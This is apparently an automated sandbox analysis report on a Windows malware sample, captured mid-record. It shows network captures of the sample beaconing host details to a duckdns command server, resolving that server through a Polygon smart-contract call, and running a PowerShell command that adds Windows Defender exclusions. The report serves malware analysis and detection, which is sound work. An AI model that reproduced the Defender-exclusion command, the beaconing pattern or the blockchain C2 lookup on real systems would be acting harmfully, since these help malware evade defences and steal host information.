                                Language of compilation systemCountry where language is spokenMap
                                EnglishUnited States

                                Network Behavior

                                Suricata IDS Alerts

                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                2025-01-12T17:49:37.345161+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449737173.244.207.29443TCP

                                Network Port Distribution

                                TCP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Jan 12, 2025 17:49:36.705070972 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:36.705101013 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:36.705180883 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:36.706289053 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:36.706302881 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.345092058 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.345160961 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.346263885 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.346317053 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.351582050 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.351589918 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.352004051 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.403054953 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.403069019 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.403543949 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.607667923 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.607820034 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:37.608124018 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.608979940 CET49737443192.168.2.4173.244.207.29
                                Jan 12, 2025 17:49:37.608989000 CET44349737173.244.207.29192.168.2.4
                                Jan 12, 2025 17:49:48.262223005 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:48.267075062 CET8049738193.233.113.77192.168.2.4
                                Jan 12, 2025 17:49:48.267195940 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:48.267296076 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:48.267326117 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:48.272059917 CET8049738193.233.113.77192.168.2.4
                                Jan 12, 2025 17:49:48.272095919 CET8049738193.233.113.77192.168.2.4
                                Jan 12, 2025 17:49:48.948863029 CET8049738193.233.113.77192.168.2.4
                                Jan 12, 2025 17:49:48.999577045 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:53.951503992 CET8049738193.233.113.77192.168.2.4
                                Jan 12, 2025 17:49:53.955010891 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:53.955079079 CET4973880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:49:53.959853888 CET8049738193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:09.720397949 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:09.725157022 CET8049741193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:09.731221914 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:09.731331110 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:09.731365919 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:09.736021996 CET8049741193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:09.736054897 CET8049741193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:10.419450998 CET8049741193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:10.468295097 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:15.424304962 CET8049741193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:15.425103903 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:15.425184011 CET4974180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:15.429924965 CET8049741193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:31.002099991 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:31.007623911 CET8049873193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:31.007709026 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:31.007791996 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:31.007807016 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:31.013443947 CET8049873193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:31.013456106 CET8049873193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:31.708722115 CET8049873193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:31.749618053 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:36.714046955 CET8049873193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:36.719098091 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:36.968003988 CET4987380192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:36.973021984 CET8049873193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:52.487903118 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:52.492702961 CET8050006193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:52.492830038 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:52.492854118 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:52.492866993 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:52.497751951 CET8050006193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:52.497761011 CET8050006193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:53.179188967 CET8050006193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:53.218429089 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:58.182811975 CET8050006193.233.113.77192.168.2.4
                                Jan 12, 2025 17:50:58.182979107 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:58.183020115 CET5000680192.168.2.4193.233.113.77
                                Jan 12, 2025 17:50:58.187872887 CET8050006193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:14.596412897 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:14.602480888 CET8050008193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:14.602596998 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:14.602698088 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:14.602727890 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:14.607925892 CET8050008193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:14.608459949 CET8050008193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:15.311028004 CET8050008193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:15.359303951 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:20.316072941 CET8050008193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:20.316214085 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:20.316263914 CET5000880192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:20.321073055 CET8050008193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:36.423897028 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:36.428932905 CET8050009193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:36.429070950 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:36.430625916 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:36.430907011 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:36.435401917 CET8050009193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:36.435719967 CET8050009193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:37.115247965 CET8050009193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:37.156056881 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:42.120623112 CET8050009193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:42.120702028 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:42.120754957 CET5000980192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:42.127223969 CET8050009193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:58.243005037 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:58.248020887 CET8050010193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:58.248193979 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:58.248352051 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:58.248374939 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:51:58.253230095 CET8050010193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:58.253263950 CET8050010193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:58.935981035 CET8050010193.233.113.77192.168.2.4
                                Jan 12, 2025 17:51:58.984297991 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:03.940953016 CET8050010193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:03.941037893 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:03.941099882 CET5001080192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:03.945874929 CET8050010193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:10.564883947 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:10.569904089 CET8050011193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:10.569996119 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:10.570086956 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:10.570102930 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:10.574852943 CET8050011193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:10.574863911 CET8050011193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:11.245546103 CET8050011193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:11.296802998 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:16.250931025 CET8050011193.233.113.77192.168.2.4
                                Jan 12, 2025 17:52:16.251019001 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:16.251671076 CET5001180192.168.2.4193.233.113.77
                                Jan 12, 2025 17:52:16.256464958 CET8050011193.233.113.77192.168.2.4

                                UDP Packets

                                TimestampSource PortDest PortSource IPDest IP
                                Jan 12, 2025 17:49:36.690893888 CET5847453192.168.2.41.1.1.1
                                Jan 12, 2025 17:49:36.701030970 CET53584741.1.1.1192.168.2.4
                                Jan 12, 2025 17:49:48.129710913 CET5026453192.168.2.41.1.1.1
                                Jan 12, 2025 17:49:48.260946989 CET53502641.1.1.1192.168.2.4
                                Jan 12, 2025 17:50:52.377041101 CET5964953192.168.2.41.1.1.1
                                Jan 12, 2025 17:50:52.486737013 CET53596491.1.1.1192.168.2.4
                                Jan 12, 2025 17:51:58.111571074 CET6275753192.168.2.41.1.1.1
                                Jan 12, 2025 17:51:58.241745949 CET53627571.1.1.1192.168.2.4

                                DNS Queries

                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                Jan 12, 2025 17:49:36.690893888 CET192.168.2.41.1.1.10x2bf2Standard query (0)polygon-rpc.comA (IP address)IN (0x0001)false
                                Jan 12, 2025 17:49:48.129710913 CET192.168.2.41.1.1.10x474cStandard query (0)blockchainlegion.duckdns.orgA (IP address)IN (0x0001)false
                                Jan 12, 2025 17:50:52.377041101 CET192.168.2.41.1.1.10xbca2Standard query (0)blockchainlegion.duckdns.orgA (IP address)IN (0x0001)false
                                Jan 12, 2025 17:51:58.111571074 CET192.168.2.41.1.1.10x8b5Standard query (0)blockchainlegion.duckdns.orgA (IP address)IN (0x0001)false

                                DNS Answers

                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                Jan 12, 2025 17:49:36.701030970 CET1.1.1.1192.168.2.40x2bf2No error (0)polygon-rpc.com173.244.207.29A (IP address)IN (0x0001)false
                                Jan 12, 2025 17:49:48.260946989 CET1.1.1.1192.168.2.40x474cNo error (0)blockchainlegion.duckdns.org193.233.113.77A (IP address)IN (0x0001)false
                                Jan 12, 2025 17:50:52.486737013 CET1.1.1.1192.168.2.40xbca2No error (0)blockchainlegion.duckdns.org193.233.113.77A (IP address)IN (0x0001)false
                                Jan 12, 2025 17:51:58.241745949 CET1.1.1.1192.168.2.40x8b5No error (0)blockchainlegion.duckdns.org193.233.113.77A (IP address)IN (0x0001)false

                                HTTP Request Dependency Graph

                                • polygon-rpc.com
                                • blockchainlegion.duckdns.org

                                HTTP Packets

                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                0192.168.2.449738193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:49:48.267296076 CET145OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:49:48.267326117 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:49:48.948863029 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:49:48 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                1192.168.2.449741193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:50:09.731331110 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:50:09.731365919 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:50:10.419450998 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:50:10 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                2192.168.2.449873193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:50:31.007791996 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:50:31.007807016 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:50:31.708722115 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:50:31 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                3192.168.2.450006193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:50:52.492854118 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:50:52.492866993 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:50:53.179188967 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:50:53 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                4192.168.2.450008193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:51:14.602698088 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:51:14.602727890 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:51:15.311028004 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:51:15 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                5192.168.2.450009193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:51:36.430625916 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:51:36.430907011 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:51:37.115247965 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:51:37 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                6192.168.2.450010193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:51:58.248352051 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 235
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:51:58.248374939 CET235OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"No Title"}
                                Jan 12, 2025 17:51:58.935981035 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:51:58 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                7192.168.2.450011193.233.113.77807544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                Jan 12, 2025 17:52:10.570086956 CET208OUTPOST /api/point.php HTTP/1.1
                                Connection: Keep-Alive
                                Content-Type: application/json
                                User-Agent: :\Users\user\AppData\Local\Temp\uteugvdfldgq.xml
                                Content-Length: 270
                                Host: blockchainlegion.duckdns.org
                                Jan 12, 2025 17:52:10.570102930 CET270OUTData Raw: 7b 22 63 6f 6d 70 75 74 65 72 6e 61 6d 65 22 3a 22 34 34 35 38 31 37 22 2c 22 63 6f 72 65 73 22 3a 34 2c 22 63 70 75 22 3a 22 49 6e 74 65 6c 28 52 29 20 43 6f 72 65 28 54 4d 29 32 20 43 50 55 20 36 36 30 30 20 40 20 32 2e 34 30 20 47 48 7a 22 2c
                                Data Ascii: {"computername":"445817","cores":4,"cpu":"Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz","gpu":"31P5O","ip":"","os":"Microsoft Windows 10 Pro","ram":"8191","status":"2","username":"user","version":"3.4.3","vram":"0","windowTitle":"Program Manager |
                                Jan 12, 2025 17:52:11.245546103 CET203INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:52:11 GMT
                                Server: Apache/2.4.52 (Ubuntu)
                                Content-Length: 0
                                Keep-Alive: timeout=5, max=100
                                Connection: Keep-Alive
                                Content-Type: text/plain;charset=UTF-8


                                HTTPS Proxied Packets

                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                0192.168.2.449737173.244.207.294437544C:\Windows\System32\conhost.exe
                                TimestampBytes transferredDirectionData
                                2025-01-12 16:49:37 UTC120OUTPOST / HTTP/1.1
                                Connection: Keep-Alive
                                User-Agent: WinHTTP Example/1.0
                                Content-Length: 136
                                Host: polygon-rpc.com
                                2025-01-12 16:49:37 UTC136OUTData Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 65 74 68 5f 63 61 6c 6c 22 2c 22 70 61 72 61 6d 73 22 3a 5b 7b 22 74 6f 22 3a 22 30 78 37 35 63 44 32 35 37 39 31 41 36 30 61 62 33 34 35 31 45 32 64 32 66 65 42 35 65 63 34 36 63 36 66 35 34 31 43 32 42 38 22 2c 22 64 61 74 61 22 3a 22 30 78 62 36 38 64 31 38 30 39 22 7d 2c 22 6c 61 74 65 73 74 22 5d 2c 22 69 64 22 3a 31 7d
                                Data Ascii: {"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0x75cD25791A60ab3451E2d2feB5ec46c6f541C2B8","data":"0xb68d1809"},"latest"],"id":1}
                                2025-01-12 16:49:37 UTC520INHTTP/1.1 200 OK
                                Date: Sun, 12 Jan 2025 16:49:37 GMT
                                Content-Type: application/json
                                Content-Length: 294
                                Connection: close
                                Strict-Transport-Security: max-age=15724800; includeSubDomains
                                Access-Control-Allow-Origin: *
                                Access-Control-Allow-Credentials: true
                                Access-Control-Allow-Methods: GET, PUT, POST, DELETE, PATCH, OPTIONS
                                Access-Control-Allow-Headers: DNT,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range,Authorization,solana-client
                                Access-Control-Max-Age: 1728000
                                2025-01-12 16:49:37 UTC294INData Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 72 65 73 75 6c 74 22 3a 22 30 78 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 33 31 36 38 37 34 37 34 37 30 33 61 32 66 32 66 36 32 36 63 36 66 36 33 36 62 36 33 36 38 36 31 36 39 36 65 36 63 36 35 36 37 36 39 36 66 36 65 32 65 36 34 37 35 36 33 36 62 36 34 36 65 37 33 32 65 36 66 37 32 36 37 32 66 36 31 37 30 36 39 32 66 37 30 36 66 36 39 36 65 37 34 32
                                Data Ascii: {"id":1,"jsonrpc":"2.0","result":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000031687474703a2f2f626c6f636b636861696e6c6567696f6e2e6475636b646e732e6f72672f6170692f706f696e742


                                Statistics

                                CPU Usage

                                Click to jump to process

                                Memory Usage

                                Click to jump to process

                                High Level Behavior Distribution

                                Click to dive into process behavior distribution

                                Behavior

                                Click to jump to process

                                System Behavior

                                General

                                Target ID:0
                                Start time:11:49:11
                                Start date:12/01/2025
                                Path:C:\Users\user\Desktop\sE5IdDeTp2.exe
                                Wow64 process (32bit):false
                                Commandline:"C:\Users\user\Desktop\sE5IdDeTp2.exe"
                                Imagebase:0x7ff7796f0000
                                File size:1'245'320 bytes
                                MD5 hash:DD36F6F79E68D5E54C75527DB2DA97AD
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:low
                                Has exited:true

                                General

                                Target ID:1
                                Start time:11:49:12
                                Start date:12/01/2025
                                Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
                                Imagebase:0x7ff788560000
                                File size:452'608 bytes
                                MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:2
                                Start time:11:49:12
                                Start date:12/01/2025
                                Path:C:\Windows\System32\conhost.exe
                                Wow64 process (32bit):false
                                Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                Imagebase:0x7ff7699e0000
                                File size:862'208 bytes
                                MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                Has elevated privileges:true
                                Has administrator privileges:true
                                Programmed in:C, C++ or other language
                                Reputation:high
                                Has exited:true

                                General

                                Target ID:4
                                Start time:11:49:24
